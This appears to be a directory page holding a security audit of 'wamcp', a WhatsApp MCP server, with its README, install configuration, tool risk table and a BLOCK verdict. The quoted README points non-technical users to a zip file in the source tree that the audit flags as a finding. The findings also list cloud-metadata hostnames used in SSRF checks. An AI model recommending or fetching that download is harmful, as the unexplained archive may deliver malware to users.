wamcpBLOCK
Integrate WhatsApp with AI agents using a native MCP server that offers tools, resources, and real-time notifications through TypeScript and Docker.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/Lilsmur/wamcp/main/src/schemas/Software-v1.8.zip)
📱 What is wamcp?
wamcp stands for WhatsApp MCP Server. It lets you connect AI agents to WhatsApp. This means you can automate chats, send messages, and respond using AI tools. The server uses the Model Context Protocol (MCP) and supports popular WhatsApp interfaces like Baileys (WhatsApp Web) and the official Cloud API. It is built with solid technology like TypeScript, BullMQ for task handling, and Docker for easy setup.
You do not need to know coding to get started. This guide will help you download and run wamcp on Windows step-by-step.
⚙️ System Requirements
Before you start, make sure your computer meets these basic needs:
- Operating System: Windows 10 or later
- Processor: 64-bit CPU (Intel or AMD)
- Memory: At least 4 GB RAM
- Storage: At least 500 MB free space
- Internet: Required for setup and running the app
- Additional Software: Docker Desktop for Windows (free to install)
If you do not have Docker installed, this guide includes instructions to get it.
🛠️ Features of wamcp
wamcp gives you the following tools and options:
- Connect AI agents to WhatsApp for automated conversations
- Supports 61 AI tools and 10 different resources to customize your setup
- Handles 12 real-time events for message updates and status
- Works with Baileys (WhatsApp Web) and official WhatsApp Cloud API
- Built with reliable tech: TypeScript, BullMQ task queue, and Docker containers for easy deployment
- No programming needed to run or manage
These features make it a solid choice if you want to add AI-powered bots to your WhatsApp chats.
💾 How to Download wamcp
This section guides you on where to get the app.
1. Visit the Download Page
Click the button below to go to the wamcp
f8558e6343eaOBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add wa-mcp --env WA_CLOUD_VERIFY_TOKEN=${WA_CLOUD_VERIFY_TOKEN} --env WA_CLOUD_WEBHOOK_SECRET=${WA_CLOUD_WEBHOOK_SECRET} --env WA_MCP_API_KEY=${WA_MCP_API_KEY} -- npx -y [email protected]{
"mcpServers": {
"wa-mcp": {
"command": "npx",
"args": [
"-y",
"[email protected]"
],
"env": {
"WA_CLOUD_VERIFY_TOKEN": "${WA_CLOUD_VERIFY_TOKEN}",
"WA_CLOUD_WEBHOOK_SECRET": "${WA_CLOUD_WEBHOOK_SECRET}",
"WA_MCP_API_KEY": "${WA_MCP_API_KEY}"
}
}
}
}Exposed tools (62)
24 read · 30 write · 8 destructive. Blast radius: 8 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
wa_archive_chat | read | Archive or unarchive a chat. Archived chats are hidden from the main chat list. |
wa_block_contact | write | Block a WhatsApp contact. Blocked contacts cannot send you messages. |
wa_check_number_exists | read | Check if a phone number is registered on WhatsApp. Returns the JID if the number exists. |
wa_clear_chat | destructive | Clear all messages in a chat. The chat remains but all messages are removed. |
wa_connect_instance | read | Connect a WhatsApp instance. For Baileys instances, this starts the WebSocket connection and generates a QR code for authentication. |
wa_create_group | write | Create a new WhatsApp group with a name and initial participants. |
wa_create_instance | write | Create a new WhatsApp instance. Specify a name and channel type (baileys for WhatsApp Web protocol, cloud for Meta Cloud API). |
wa_delete_chat | destructive | Delete an entire chat for this account. This cannot be undone. |
wa_delete_instance | destructive | Permanently delete a WhatsApp instance and all its data including auth state, messages, contacts, and queue. This action cannot be undone. |
wa_delete_message | destructive | Delete a message for everyone in the chat. Only messages sent by this instance can be deleted. |
wa_disconnect_instance | read | Gracefully disconnect a WhatsApp instance. The session is preserved for reconnection. |
wa_edit_message | write | Edit a previously sent message. Only text messages sent by this instance can be edited. |
wa_forward_message | read | Forward an existing message to another chat. |
wa_get_business_profile | read | Fetch the business profile information for a WhatsApp Business contact. |
wa_get_messages | read | Get recent messages from a chat. Returns messages ordered by most recent first, with sender, content, type, and timestamp. |
wa_get_pairing_code | read | Get a numeric pairing code for authenticating a Baileys instance. The code is entered on the phone in WhatsApp > Linked Devices > Link with phone number. |
wa_get_qr_code | read | Get the QR code as a base64 image for authenticating a Baileys instance. Returns null if no QR code is available (already authenticated or not yet connecting). |
wa_group_add_participants | write | Add members to a WhatsApp group. |
wa_group_demote | read | Demote group admins to regular members. |
wa_group_get_invite_code | read | Get the shareable invite link for a WhatsApp group. |
wa_group_handle_request | read | Approve or reject a pending join request for a WhatsApp group. |
wa_group_join | read | Join a WhatsApp group using an invite code or link. |
wa_group_leave | read | Leave a WhatsApp group. |
wa_group_promote | read | Promote members to group admin. |
wa_group_remove_participants | destructive | Remove members from a WhatsApp group. |
wa_group_revoke_invite | destructive | Revoke the current invite link for a WhatsApp group, generating a new one. |
wa_group_toggle_ephemeral | write | Enable or disable disappearing messages in a group. Duration is in seconds (0 to disable). |
wa_group_update_description | write | Change the description of a WhatsApp group. |
wa_group_update_settings | write | Change group settings (announce: only admins can send, locked: only admins can edit info). |
wa_group_update_subject | write | Change the name/subject of a WhatsApp group. |
wa_mark_read | read | Mark specific messages as read in a chat. |
wa_mute_chat | read | Mute or unmute a chat. When muting, optionally specify muteUntil as a Unix timestamp in milliseconds. |
wa_newsletter_follow | read | Follow a WhatsApp Channel/Newsletter. Baileys only. |
wa_newsletter_send | write | Send a message to a WhatsApp Channel/Newsletter (must be admin). Baileys only. |
wa_newsletter_unfollow | read | Unfollow a WhatsApp Channel/Newsletter. Baileys only. |
wa_pin_chat | read | Pin or unpin a chat. Pinned chats appear at the top of the chat list. |
wa_pin_message | read | Pin or unpin a message in a chat. |
wa_reject_call | read | Reject an incoming voice or video call. The call ID is received via the whatsapp/call.received notification. |
wa_remove_profile_picture | destructive | Remove the profile picture for a WhatsApp instance. |
wa_restart_instance | write | Disconnect and reconnect a WhatsApp instance. Useful for recovering from errors. |
wa_search_contact | read | Search contacts by name or phone number. Returns matching contacts from the local cache. |
wa_send_audio | write | Send an audio file or voice note to a WhatsApp contact or group. Set ptt=true for voice note (push-to-talk). |
wa_send_contact | write | Send a vCard contact to a WhatsApp contact or group. |
wa_send_document | write | Send a document/file to a WhatsApp contact or group. Requires fileName and mimeType. |
wa_send_image | write | Send an image to a WhatsApp contact or group. Image can be provided as a URL or base64-encoded data. Optional caption. |
wa_send_image_status | write | Post an image status/story update visible to contacts. |
wa_send_link_preview | write | Send a text message with a rich link preview. The URL is used to generate the preview. |
wa_send_location | write | Send a GPS location to a WhatsApp contact or group. Optional name and address. |
wa_send_poll | write | Create and send a poll to a WhatsApp contact or group. Supports 2-12 options. |
wa_send_presence | write | Send a presence status (typing, recording, paused, available, unavailable) to a chat. |
wa_send_reaction | destructive | React to a message with an emoji. Send an empty string emoji to remove a reaction. |
wa_send_text | write | Send a text message to a WhatsApp contact or group. Args: - instanceId: The instance to send from - to: Recipient phone number (e.g. |
wa_send_text_status | write | Post a text status/story update visible to contacts. |
wa_send_video | write | Send a video to a WhatsApp contact or group. Video can be provided as a URL or base64-encoded data. Optional caption. |
wa_send_video_status | write | Post a video status/story update visible to contacts. |
wa_send_view_once | write | Send a view-once image or video. The media disappears after the recipient views it once. |
wa_set_cloud_credentials | write | Configure Meta Cloud API credentials for a Cloud API instance. Required before connecting a Cloud API instance. |
wa_unblock_contact | read | Unblock a previously blocked WhatsApp contact. |
wa_update_privacy | write | Update privacy settings (lastSeen, online, profilePic, status, readReceipts, groupAdd). |
wa_update_profile_name | write | Change the display name for a WhatsApp instance (max 25 characters). |
wa_update_profile_picture | write | Change the profile picture for a WhatsApp instance. Image can be provided as base64-encoded data or a URL. |
wa_update_profile_status | write | Change the text status/bio for a WhatsApp instance (max 139 characters). |
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (6 observation(s))
- Network
- declared (7 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (13)
if (hostname === "169.254.169.254") return true;
if (lower === "metadata.google.internal") return true;
Software-v1.8.zip
"libsignal": "git+https://github.com/whiskeysockets/libsignal-node.git",
wa_clear_chat, wa_delete_chat, wa_delete_instance, wa_delete_message, wa_group_remove_participants, wa_group_revoke_invite, wa_remove_profile_picture, wa_send_reaction
.prettierignore
} from "../../types/channel.types.js";
import { db } from "../../db/client.js";import { contacts as contactsTable, messages as messagesTable } from "../../db/schema.js";} from "../../constants.js";
import { createChildLogger } from "../../utils/logger.js";@modelcontextprotocol/sdk, @whiskeysockets/baileys, better-sqlite3, bullmq, dotenv, drizzle-orm, ioredis, pino
Gates applied: no_behavioural_pass, no_license.
f8558e6343eafull audit observations/trust-audit/mcp-server/lilsmur__wamcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | f8558e6343ea | BLOCK | D | 69 | first audit |
Questions
What is the wamcp MCP server?
Integrate WhatsApp with AI agents using a native MCP server that offers tools, resources, and real-time notifications through TypeScript and Docker.
What tools does wamcp expose?
62 in total: 24 read-only, 30 that write, and 8 that can delete or overwrite (wa_clear_chat, wa_delete_chat, wa_delete_instance, wa_delete_message, wa_group_remove_participants). Every one is listed on this page with its risk.
Is wamcp safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (69/100) and found 2 critical or high issues in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 8 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does wamcp need?
It reads WA_CLOUD_VERIFY_TOKEN, WA_CLOUD_WEBHOOK_SECRET and WA_MCP_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does wamcp run?
It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on npm as wa-mcp at 1.1.1.
How current is this page?
The grade is for one exact copy of the source (f8558e6343ea), read on 2026-10-12. The repository is watched and re-audited when it changes.